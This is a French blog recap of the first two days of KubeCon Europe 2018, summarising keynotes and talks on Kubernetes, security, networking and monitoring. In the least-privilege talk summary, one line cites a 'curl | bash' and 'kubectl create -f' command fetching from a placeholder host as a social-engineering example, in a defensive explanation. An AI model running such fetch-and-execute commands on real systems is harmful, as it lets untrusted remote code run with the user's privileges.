Copenhague on Zwindler's Reflection

Récap du deuxième jour de Kubecon Europe 2018

Mon, 07 May 2018 14:00:58 +0000

Deuxième jour de Kubecon

Depuis mardi soir, j’étais à Copenhague pour assister à la KubeCon + CloudNativeCon Europe 2018. Si vous n’avez pas lu mon résumé de la journée de mercredi, je vous propose d’aller le lire ici !

Comme la veille, la journée a commencée par des Keynotes animées par Liz Rice & Kelsey Hightower.

Attention : j’ai trouvé qu’il y avait un peu de bourrage de crâne de la part des sponsors, vous risquez de me voir râler un peu ;-)

Kubernetes Project Update

Keynote: Kubernetes Project Update - Aparna Sinha, Group Product Manager, Kubernetes and Google Kubernetes Engine, Google

Dans le même style de la keynote de Liz Rice sur les évolutions dans les projets de la CNCF, cette Keynote a été l’occasion de revenir sur les fonctionnalités qui sont apparues dans les versions 1.8, 1.9 et plus récemment 1.10.

Forcément, en 3 releases, le nombre de fonctionnalités sur un projet de cette ampleur est forcément impressionnant. On peut noter l’ajout des Cronjobs, du support du Machine Learning, du fait Kubernetes peut agir en tant qu’orchestrateur pour des workload Spark et l’operator Spark (ceci à d’ailleurs fait l’objet d’une démo en live dans laquelle ont été comptés les mots dans l’oeuvre de shakespeare).

Sur l’aspect sécurité, Aparna Sinha a lourdement insisté sur gvisor que Google a open sourcé dans le cadre de la conférence (micro kernel en userland permettant de ne pas exécuter les containers directement sur le kernel de l’hôte). On en a déjà eu une couche hier, et des confs étaient prévues dans la journée…

Des progrès ont également été fait avec l’introduction de la CSI (container storage interface), qui, comme la CNI a pour but d’uniformiser la gestion du stockage via des extensions dans Kubernetes.

Et Mme Google d’en remettre une couche pour dire à quel point ils sont sympa d’avoir open sourcé un bout de code dans Prometheus pour permettre à vos Prometheus on premise de streamer les data vers le cloud (Google Cloud au hasard ?). Pour vous faciliter la vie et avoir tout dans un même endroit bien sûr ;).

Accelerating Kubernetes Native Applications

Keynote: Accelerating Kubernetes Native Applications - Brandon Philips, CTO of CoreOS, Red Hat

Brandon Philips de CoreOS (racheté depuis peu par RedHat) est venu nous parler des Operators, ou comment étendre Kubernetes de manière propre. CoreOS est depuis longtemps impliquée dans le développement d’extensions de Kubernetes, notamment parce Tectonic en proposait 2 (les operators etcd & prometheus).

Concrètement, on étend l’API de Kubernetes en créant de nouveaux objets logiques, ce qui nous permet de piloter des logiciels tiers comme s’ils faisaient partie du cluster.

Pour continuer dans cette veine, CoreOS a mis à disposition un Framework, « l’Operator framework », dont le but est de faciliter la création des operators par des sociétés/projets tiers.

Bel effort, il faudra voir si ça prend ou pas.

REX du Financial times

Keynote: Switching Horses Midstream: The Challenges of Migrating 150+ Microservices to Kubernetes - Sarah Wells, Technical Director for Operations and Reliability, Financial Times

Un REX très agréable et très bien présenté par Sarah Wells. Le Financial Times, comme beaucoup de compagnies, fait de l’IT de pointe, non pas parce que c’est son coeur de métier, mais par nécessité.

Quand ils sont passés sous Docker en 2015, le moins que l’on puisse dire c’est que la peinture n’était pas encore complètement fraîche, et une solution maison a du être montée pour répondre aux besoins. Et quand courant 2016, l’ensemble de la core-team qui a passé la production sous Docker est partie d’un coup, il a fallu faire face et trouver une solution.

Choose boring technology

Fin 2016, les équipes en places ont donc considérés les alternatives, ont décidés que Kubernetes étaient le leader émergents avec le plus de chances de devenir le standard de facto (bien vu) et banco.

Enfin, banco, c’est vite dit !

Une grosse partie de la Keynote a justement gravité autour du fait qu’il n’est pas si facile de migrer des centaines de microservices en production d’une solution maison basée sur Docker à un orchestrator comme Kubernetes !

Quelques questions/réflexions qu’ils ont du se poser. J’en ai noté quelques unes :

How do you work in parallel (separate branches or if/else in code) ?
Separate deployment mechanisms vs a single one ?
On which branch must I do the testing ?
Making sure a service will recover if k8s moves it elsewhere
It’s easy to get sucked into making things better

Shaping the cloud native future

Keynote: Shaping the Cloud Native Future - Abby Kearns, Executive Director, Cloud Foundry Foundation

Sincèrement, je n’ai pas compris le message. J’ai juste noté ça :

Cloud native
Cloud everything
Interoperability & Velocity & Innovation
On peut faire tout ça avec Cloud Foundry et l’armée de l’air des états unis économise plein d’argent grâce à nous

Next.

Skip the Anxiety Attack - Build Secure Apps with Kubernetes

Keynote: Skip the Anxiety Attack - Build Secure Apps with Kubernetes - Jason McGee, Fellow, IBM

Kubernetes est un composant majeur pour vos cloud native apps, qui s’intègre nativement dans les processus de types CI/CD, offre une infrastructure flexible, permet de gérer la sécurité…

En plus de ça dans notre super cloud on peut ajouter traquer les vulnérabilités de vos containers, on a du TXT intel et du istio.io, blablabla

Next.

Software’s community

Keynote: Software’s Community - Dave Zolotusky, Software Engineer, Spotify

On sort un peu du marketing mal déguisé et on repasse sur un REX, celui de Spotify !

Plutôt que de faire encore un talk sur leur migration vers K8s et les problèmes qu’ils ont rencontrés, Dave Zolotusky a préféré faire un talk sur ce que leur a apporté la communauté open source et pourquoi il faut contribuer.

Concrètement, Dave venait du monde closed source, avec des supports payant pour chacun des progiciels en production.

Depuis qu’il est chez Spotify et leur migration vers K8s et l’écosystèmes opensource qui gravite autour, à chaque fois qu’ils ont rencontrés un problème complexe, ils se sont tournés vers la communauté et à leur plus grande surprise, ont trouvé rapidement quelqu’un pour les aider.

Que ce soit faire des Ingress cross namespaces ou les problèmes qu’ils ont pu rencontrer en les configurant, ou encore quand ils ont configurés leurs Prometheus, il y avait toujours un dev sur Slack ou un pair de la CNCF pour leur répondre.

Certes, ce talk est un peu bateau dans une conf autour de projets open sources, mais ça fait toujours du bien à entendre, surtout venant d’une société (1) relativement connue, (2) dont ce n’est pas le cœur de métier.

We are all facing the same problems. And even if you’re THAT guy that has a problem no one else has, please share it. Others may look up to you when they’ll face the same problem later.

Et c’est reparti pour le multi-track

Applying least privileges through Kubernetes admission controllers

Applying Least Privileges through Kubernetes Admission Controllers - Benjy Portnoy, Aqua Security

Benjy Portnoy a fait quelques rappels de sécurités sur tout bon cluster Kubernetes.

Même si les recommandation sont un peu « obvious », ça fait toujours du bien de rappeler pourquoi il faut le faire (et le faire ;p).

Privilèges minimum pour tous les utilisateurs, autant sur les objets (limiter à des types d’objets, mais limiter aussi les actions qui peuvent être faites sur cet objet). Ça permet de limiter l’impact de l’erreur humaine ou de l’attaque de type social engineering du type :

curl | bash // kubectl create -f http://fakeapp.example.org.yaml

Benjy a rapidement rappelé qu’il existe un certain nombre de bonnes pratiques qui sont tout simplement décrites dans la documentation officielle de Kubernetes : authentification RBAC, segmentation des réseaux, PodSecurityPolicy, chiffrement des Secrets, enregistrement de tout ce qui se passe sur le cluster à des fins d’audit, …

Mais le focus du talk a surtout été l’utilisation des AdmissionControllers, avec plusieurs exemples :

Allways pull images
Deny escalating exec
Pod security policy
Node restriction
Resource quota

Les possibilités de sécurisations sont infinies et ça nécessite d’y passer du temps car ce n’est pas « built-in » ;-).

Pour finir, Benjy a listé quelques outils permettant d’auditer soit même son cluster ou ses pods. A tester !

Kube-bench
kubehunter (pas encore public)
kubesec.io
Microscanner (ajouter 2 lignes dans tous les Dockerfiles pour avoir un retour sur la sécurité des images sous-jacentes)

Kubevisor

J’avais prévu d’aller voir « Understanding Distributed Consensus in etcd and Kubernetes« , mais, joie des confs multitrack, il n’y avait plus de place dans l’amphi et je me suis fait refouler ! Dommage, j’avais vraiment envie de mieux comprendre etcd, qui pour beaucoup est une bonne grosse boite noire, ce qui est gênant vu le rôle central qu’il joue dans K8s… Je suis donc allé dans l’amphi d’à côté pour voir :

Pod Anomaly Detection and Eviction using Prometheus Metrics - David Benque & Cedric Lamoriniere, Amadeus

Deux personnes de chez Amadeus (avec un accent bien Français ;p) nous ont présentés les problématiques posées par le loadbalancing d’applications fortement dépendantes les unes des autres.

Le pitch du talk était qu’un loadbalancing basique ne permet pas, dans ce genre de cas, d’éviter un effet papillon (un noeud défectueux provoque une panne en cascade). Pour améliorer leur stabilité, les ingénieurs chez Amadeus ont donc recours aux techniques suivantes :

Pour toutes les commnucations inter-microservices, l’utilisation d’un service mesh (Linkerd, istio.io), permettant un loadbalancing plus intelligent, avec des circuit breaker avec du routage intelligent et des fonctionnalités de type open/close/half-open en cas de défaillance.

Pour limiter l’impact d’une panne, ce service mesh leur permet aussi de prendre des décisions en fonction de signaux techniques (consommation mémoire, nombre de connexions).

Cependant, les produits existants ne répondaient toujours pas à l’ensemble de leur problématiques, et ils ont donc présenté Kubevisor, une solution de détection d’anomalies dans les Pods, qui permet entre autre de gérer directement dans Kubernetes des notions de « circuit breaking » par application et avec des règles complet (une partie breaker, une partie activator) via des CRD (custom resources definitions).

101 ways to Break and Recover Kubernetes Clusters

101 Ways to “Break and Recover” Kubernetes Cluster - Suresh Visvanathan & Nandhakumar Venkatachalam, Oath (Yahoo)

Deux personnes de chez Oath (Ex Yahoo) nous ont fait une liste à la Prévert de tous les problèmes qu’ils ont rencontré en production, et les mécanismes qu’ils ont mis en place pour éviter que ça se reproduise.

Si l’intention était bonne, la présentation était très rapide et un peu décousue (trop de cas, on passait trop rapidement d’une slide à l’autre).

Quelques cas qui ont retenu mon attention :

Un ingénieur qui exécute « kubectl delete -f /dir » et qui supprime par erreur un namespace. Un des méthoes pour éviter ça est d’utiliser un Admission controller pour interdire la suppression d’un namespace s’il reste des objets dedans.
Deux Ingress déclarent le même alias (on se retrouve donc avec un genre de loadbalancing chelou qui bascule une requête sur deux sur des services qui n’ont rien à voir). Là encore, le plus simple est d’utiliser un Admission controller pour éviter que ça n’arrive.
Suite à un bug sur les cgroup, tous les nœuds sont passés « Not ready » (alors que les pods fonctionnaient toujours) et ont supprimé tous les pods (eviction queue). Il existe un « Partial Disruption mode », qui permet d’éviter de tout supprimer alors que les nodes ?

Digital ocean

_Global Container Networks on Kubernetes at DigitalOcean - Andrew Sy Kim, DigitalOcean _

Un talk bien costaud sur la façon dont Digital Ocean utilise **BGP **comme couche d’abstraction réseau pour Kubernetes.

Wait… what ?

Au début, j’étais un peu sceptique aussi. Leur problème initial était que dans leur cas, les abstractions de réseau existantes étaient :

trop lentes pour certaines applications (overhead, latence)
Le NAT/masquerading des IPs des pods empêche les développeurs de connaitre
- dans le pod, l’adresse de la source
- depuis un client, l’adresse IP du pod qui a répondu

Au final, l’utilisation de BGP (pas détourné, mais peu commun on va dire) pour fournir un plan d’adressage global, aussi bien pour leurs serveurs physiques que pour leurs pods dans tous leurs DCs permet à Digital Océan d’avoir un réseau virtuel performance et d’avoir une IP accessible de manière globale pour chaque pod.

Au delà de la partie peering des équipements et des serveurs dans le DC (intéressant), il existe une implémentation de BGP pour Kuernetes (Kube-router) qui support eBGP/iBGP, le peering automatique BGP pour les services et les pods.

Cerise sur le gâteau, ils se sont rendu compte après coup qu’avec cette implémentation du réseau ils pouvaient (via des External IPs) rendre directement accessible sur Internet des pods, en fonction de l’endroit où vous êtes sur le globe et via la même IP.

2ème cerise sur le gâteau, ils ont simplifié grandement leur gestion du DNS, en ajoutant une délégation pour que tous les services Kubernetes (de type monservice.monnamespace.cluster.local) puissent être résolus et accessibles depuis le réseau Digital Ocean, même en dehors de Kubernetes.

Linkerd

Linkerd Intro – Andrew Siegner & George Miranda, Buoyant.io

Un démonstaction en live de Linkerd (service mesh), focalisée sur la partie loadbalancing / circuit breaker.

C’est simple, ça marche super bien, mais j’ai été vachement refroidi par le présentateur quand quelqu’un lui a demandé quels étaient les avantages de Linkerd par rapport aux autres solutions a dit :

Linkerd, c’est puissant et stable, mais ça consomme beaucoup de ressources (1Go de RAM). On est en train de réécrire complètement le produit (Conduit). Si vous avez besoin d’un service mesh vraiment aujourd’hui et en production, Linkerd est super. Mais sinon, dans 2 mois on sort une version stable de Conduit. Le mieux, c’est d’attendre Conduit.

J’étais un peu sidéré… mais mes collègues m’ont confirmé que je n’avais pas rêvé.

Reveal your deepes metrics

Reveal Your Deepest Kubernetes Metrics - Bob Cotton, Freshtracks.io

Un talk très sympa par Bob Cotton de Freshtracks.io. Je ne sais pas si c’était volontaire ou pas, mais il n’a pas du tout parlé de sa société (startup dans le monitoring K8s et prometheus, co-fondateur) et est rentré directement dans le vif du sujet : les métriques. On a vraiment senti que c’était un passionné par ce sujet, c’était très fluide malgré une masse d’information conséquente.

Comment déterminer quelles métriques sont importantes ?

Je ne savais pas que ça existait, mais il existe des méthodes pour classifier les métriques pour mesurer l’état de santé d’un service ou d’un cluster :

Four golden signals (Latency / Errors / Traffic / Saturation)
USE method (Utilization / Saturation / Errors) réservée aux composants physiques (machine virtuelle) ou fonctionnels (serveur Apache)
RED method (Rate / Errors / Duration) pour les applications

USE is for Resources
RED is for Services

Je ne vais pas tout détailler ici car c’était très dense, mais le support est à lire si vous devez mettre en place une solution de supervision pour votre application (quelle soit hébergée sur Kubernetes ou pas d’ailleurs).

Et pour finir la journée ?

Pour ne pas nous assommer de Keynotes à nouveau, les organisateurs de la Kubecon avaient prévu une « soirée » à Tivoli Gardens. C’est un genre de parc d’attractions / fête foraine permanente en plein centre de Copenhague.

L’occasion de réseauter pour les plus studieux, ou juste de faire quelques manèges. C’était très sympa ;)

Et vendredi ?

Il ne vous aura pas échappé que la Kubecon dure 3 jours. Malheureusement pour moi… mes amis gréviste de chez Air France ont décidé pour moi que je ne participerai pas au vendredi, en annulant mon Copenhague Paris et en me proposant comme seule et unique solution de passer ma journée de les aéroports (Zurich et Charles de Gaulle notamment).

Un peu dégoûté mais bon… C’est la vie ;-)

Récap’ du premier jour de KubeCon Europe 2018

Wed, 02 May 2018 22:09:43 +0000

Premier jour de KubeCon aujourd’hui !

Hier soir, je suis arrivé à Copenhague pour participer à la KubeCon + CloudNativeCon Europe 2018. Vous ne savez pas de quoi il s’agit ? C’est LA conférence sur 3 jours, organisée par la CNCF, qui parle de Kubernetes et tout ce qui gravite autour.

Ce n’est pas la première conf que je couvre sur le blog, j’avais déjà fais un récapitulatif de la Hack-It-N 2018.

On est environ 4300…

La journée a commencée par des Keynotes, ponctuées par des petites interventions de Liz Rice et Kesley Hightower. La plupart étaient un peu humoristiques, mais j’ai retenu ceci parmis les keynotes du matin :

Où en sont les projets de la CNCF ?

Keynote: CNCF Project Update - Liz Rice, Technology Evangelist, Aqua Security; Sugu Sougoumarane, CTO, PlanetScale Data; Colin Sullivan, Product Manager, Synadia Communications, Inc. & Andrew Jessup, Co-founder…

Cette année, le moins que l’on puisse dire est que la CNCF a réellement pris de l’ampleur, en terme de projets notamment.

L’ajout de plusieurs projets à l’état « Sandbox » :

Rook (abstraction du stockage), One Policy Agent (politiques de sécurité pour l’ensemble de la stack), SPIFFE (langage de spec) & SPIRE (runtime env) qui a pour but d’établir un lien de confiance entre l’infrastructure et les workloads.

Plusieurs projets sont à l’état « Incubator » :

CoreDNS, Linkerd (service mesh), Envoy (distributed proxy), Prometheus, OpenTracing, Jaeger (distributed tracing), Fluentd (Splunk Entreprise connector + fluentd daemonset for kubernetes), Fluent bit (client lightweight un peu comme Beats d’Elastic), NATS (messaging), Container Network Interface (CNI), gRPC (client/server), Container runtime (Containerd / Kubernetes CRI), TUF (The Update Framework), Notary, Vitess (distribution de données sur MySQL avec Sharding/resharding automatic)

La liste est vertigineuse.

Kubernetes est également passé à l’état « Graduated » (premier projet CNCF a passé à l’état « production ready » pour la plupart des projets informatiques, pas seulement pour les tech enthousiasts et les early adopters.

Si j’ai tout listé, c’est que l’ensemble de ces projets ont par la suite droit à une ou plusieurs confs et j’aurai l’occasion de revenir dessus si je participe aux confs en question.

Re-thinking Networking for Microservices

Keynote: Re-thinking Networking for Microservices - Lew Tucker, VP/CTO Cloud Computing, Cisco Systems, Inc.

Le CTO Cloud Computing de Cisco est venu nous expliquer que maintenir l’ensemble des services permettant au microservice d’échanger avec le monde extérieur, c’est compliqué, et qu’il vaut mieux utiliser du service mesh (découpler tous les services de communication et externes aux services comme logging, api, auth, …).

REX du CERN

Keynote: CERN Experiences with Multi-Cloud Federated Kubernetes

On ne présente pas le CERN (mais en fait on a quand même eu droit à une présentation ;-p ), mais au delà des travaux scientifiques, il faut des ops pour faire tourner la puissance de calcul brute.

10000 hyperviseurs, des quantités de données très importantes (1 Po/s généré, 10 Go/s enregistré).

Malgré cette force de frappe plus qu’honnête, lors de grosses campagnes de calculs scientifiques, il faut tirer parti de ressources externes (clouds, universités), ce qui induit la nécessité d’un outils permettant de fédérer des machines provenant de tous horizons.

Le CERN utilise la fédération de cluster de Kubernetes, avec en plus l’outil HTCondor qui étend l’API de Kubernetes et leur permet de lancer les jobs sur les machines (distantes ou pas) en fonction du job demandé.

Mini talk du VP & Chief Open Source Officer de VMware

Keynote: From Innovation to Production - Dirk Hohndel, VP & Chief Open Source Officer, VMware

Au delà du présentation plus que rapide des produits opensource sur lesquels contribue VMware, (Harbor, pivotal, BOSH), Dirk Hohndel a surtout utilisé les 5 minutes qu’il avait pour nous faire remarquer que les gens de l’audience sont en grande majorité des hommes blancs et qu’il y a un vrai problème de mixité dans nos métiers. J’ai regardé autour de moi, difficile de lui donner tort.

Et les vraies conférences ont pu commencer !

Pourquoi y a-t-il autant de runtimes ?

Whats Up With All The Different Container Runtimes? - Ricardo Aravena, Branch Metrics

Ricardo Aravena a brossé un tableau de l’évolution des containers runtimes sous Linux, puis a listé leurs avantages et leurs inconvénients. Un talk plutôt sympa en mode comparaisons et Pros/Cons sur les différents runtimes du marché.

Créer et gérer une communauté open source

Building an Open Source Community to Achieve Innovation-Through-Openness - Jonas Rosland, {code}

Un talk « non technique » auquel j’avais vraiment envie d’aller. J’avais été assez surpris de remarquer l’ouverture de Dell EMC en 2015 avec l’équipe {code}, alors forcément, un REX sur comment gérer une communauté open source et le erreurs qui ont pu être faites m’intéressait forcément.

Au final, le talk, même s’il est resté très haut niveau, a donné de bons conseils (planification de la roadmap, transparences, SIGs, focus sur les individus plus que les projets) et des ressources complémentaires (opensource.com guides, codeofconducts), qui n’existaient pas à l’époque où {code} s’est mise en place.

REX de Turbine labs a propos de leur migration de nginx vers envoy

Replacing NGINX with Envoy in a Traffic Control System - Mark McBride, Turbine Labs, Inc

Le CEO de Turbine Labs nous a fait un REX sur un changement majeur qu’ils ont eu à réaliser sur leur produit : le changement de nginx (limité pour leurs besoins spécifiques) pour Envoy. Ce changement impliquait (1) d’écrire une partie des features manquantes dans Envoy (extensions maisons spécifiques à Turbine Labs pour leurs besoins propres) et la façon la plus progressives de migrer ce composant central dans leur architecture.

Si le talk était intéressant en soit (et permet d’avoir un premier aperçu de Envoy), c’était aussi l’occasion de se poser les bonnes questions pour tout migration, qu’elle qu’elle soit.

REX Zalando, la mise à jour des clusters Kubernetes

Continuously Deliver your Kubernetes Infrastructure - Mikkel Larsen, Zalando SE

Le site de e-commerce Zalando est quelque chose d’assez énorme. On ne s’en rend pas forcément compte, mais ce sont des dizaines de clusters Kubernetes qui sont nécessaires pour gérer la partie développement des nouvelles applications.

Zalando est connue comme faisant partie des sociétés qui communiquent beaucoup sur leurs (bonnes) pratiques en terme d’IT. D’ailleurs l’amphi était plein à craquer :

Mikkel Larsen n’y a pas coupé et nous a méthodiquement expliqué pas à pas tout ce qui était mis en place pour assurer (1) des mises à jours des clusters Kubernetes complètement transparentes et quasi automatiques, et (2) des test ends to ends complet permettant de repérer des régressions mêmes subtiles.

Côté technique, Zalando travaille sur AWS, sur plusieurs availability zones, avec des Stack Cloud Formations, 1 seule AMI pour toutes les VMs, des clusters etcd externalisés des nœuds Kubernetes (rendant les masters stateless, et donc plus facile à mettre à jour), …

The Route to rootless container

The Route To Rootless Containers - Ed King, Pivotal & Julz Friedman, IBM

Je ne vais pas le cacher, je suis allé pour le titre de la conf et je n’ai pas été déçus côté clins d’œils / memes (ni par le contenu, mais c’est toujours plus agréables quand les speakers sont bons).

Si Ed King et Julz Friedman ont commencé par dire qu’ils étaient contents qu’autant de gens soient présents pour un « sujet aussi basique », le talk n’était clairement pas à destination de débutants !

Point par point, ils ont expliqué quels technologies et couches de sécurités étaient disponibles, contre quoi elle protégeaient et ne protégeaient pas. Dans une seconde partie, ils ont ensuite expliqués comment réussir à faire fonctionner des containers exécutés côté hôte par un utilisateurs non privilégié mais privilégié au sein du container. Mais surtout, pourquoi ça fonctionne et pourquoi ça n’était pas grave.

Une vraie surprise car j’avais mal compris la conf (je pensais qu’on allait expliquer comment faire pour que les applications ne soient pas root DANS le container).

Améliorer la sécurité des workloads Kubernetes avec la virtualisation matérielle

Improving your Kubernetes Workload Security with Hardware Virtualization - Fabian Deutsch, Red Hat & Samuel Ortiz, Intel

Une conf’ amusante où deux projets dont le but est de faire tourner des workloads Kubernetes dans des machines virtuelles (Kata et KubeVirt), soit disant non concurrents, ont été présentés en même temps.

La subtilité, selon eux, c’est que :

Kata containers est plutôt à destination des personnes qui souhaitent :
- ajouter une couche de sécurité/ségrégation supplémentaire à la conteneurisation simple en ajoutant l’isolation via la virtualisation matérielle
- utiliser des kernels différents pour des containers différents sur un même groupe d’hôtes Kubernetes
Kubevirt permet l’adoption plus rapide de Kubernetes en permettant l’ajout des workload de type legacy « non containerisables » dans un cluster Kubernetes. Ces workloads deviennent des Pods qui tournent dans Kubernetes, ce qui a l’immense avantage d’ajouter toutes les fonctionnalités de Kubernetes sur les Pods, mais aussi la gestion de réseau et du stockage.

A vous de me dire si vous êtes convaincus qu’il faut absolument 2 projets ;-).

Et vous reprendrez bien quelques keynotes

Anatomy of a Production Kubernetes Outage

Keynote: Anatomy of a Production Kubernetes Outage - Oliver Beattie, Head of Engineering, Monzo Bank

Un postmortem d’un incident qui a bloqué la prod d’une banque « digital native ». Très bien présenté et d’autant plus intéressant que les « erreurs » qui ont été faites tendent plus de la malchance et de fausses bonnes idées que de l’erreur a proprement parler; il était très facile de m’imaginer à la place des équipes qui ont géré cet incident.

Container Native Dev and ops Experience

Keynote: Container-Native Dev-and-ops Experience: It’s Getting Easier, Fast. - Ralph Squillace, Principal PM – Azure Container Platform, Microsoft

Je ne vais pas mentir, je suis un peu passé à côté de cette keynote. Ralph Squillace nous a fait une démo en live de code qui se déploie, se débugue et tourne sur Kubernetes pour nous prouver à quel point c’est simple. Moui, ok.

Au delà de ça, j’ai surtout remarqué que son PC était sous Ubuntu. Venant de quelqu’un qui bosse chez Microsoft (même si c’est une team Kubernetes), c’est quand même quelque chose qui aurait été impensable il y a quelques années ;-p

Cloud native observability & security

Keynote: CNCF End User Awards - Presented by Chris Aniszczyk, COO, Cloud Native Computing Foundation

Un résumé des annonces faites aujourd’hui par Google à l’occasion de la Kubecon.

gVisor, un système révolutionnaire qui va résoudre tous les pb de sécurité des containers
stackdriver, un outil de monitoring (observability) génial, qui rendre nos vies géniales

Peut être que le format était mal choisi, mais je suis extrêmement sceptique et je vais attendre d’en savoir plus ;)

Prometheus 2.0

Keynote: Prometheus 2.0 – The Next Scale of Cloud Native Monitoring - Fabian Reinartz, Software Engineer, Google

Une tonne de slides pour nous brosser l’historique de Prometheus dans un premier temps, puis nous expliquer qu’un gros problème est arrivé, la TSDB de Prometheus était trop lente sur de très gros workloads. Déluge de slides pour nous montrer à quel point Prometheus 2 est bien meilleur.

Maintenant c’est mieux.

Et demain ?

Et bien demain rebelote (enfin si je poste pas très vite, on va déjà être demain…).

Si ça vous intéresse, vous pouvez suivre les confs que je vais voir sur kccnceu18.sched.com/d.germain.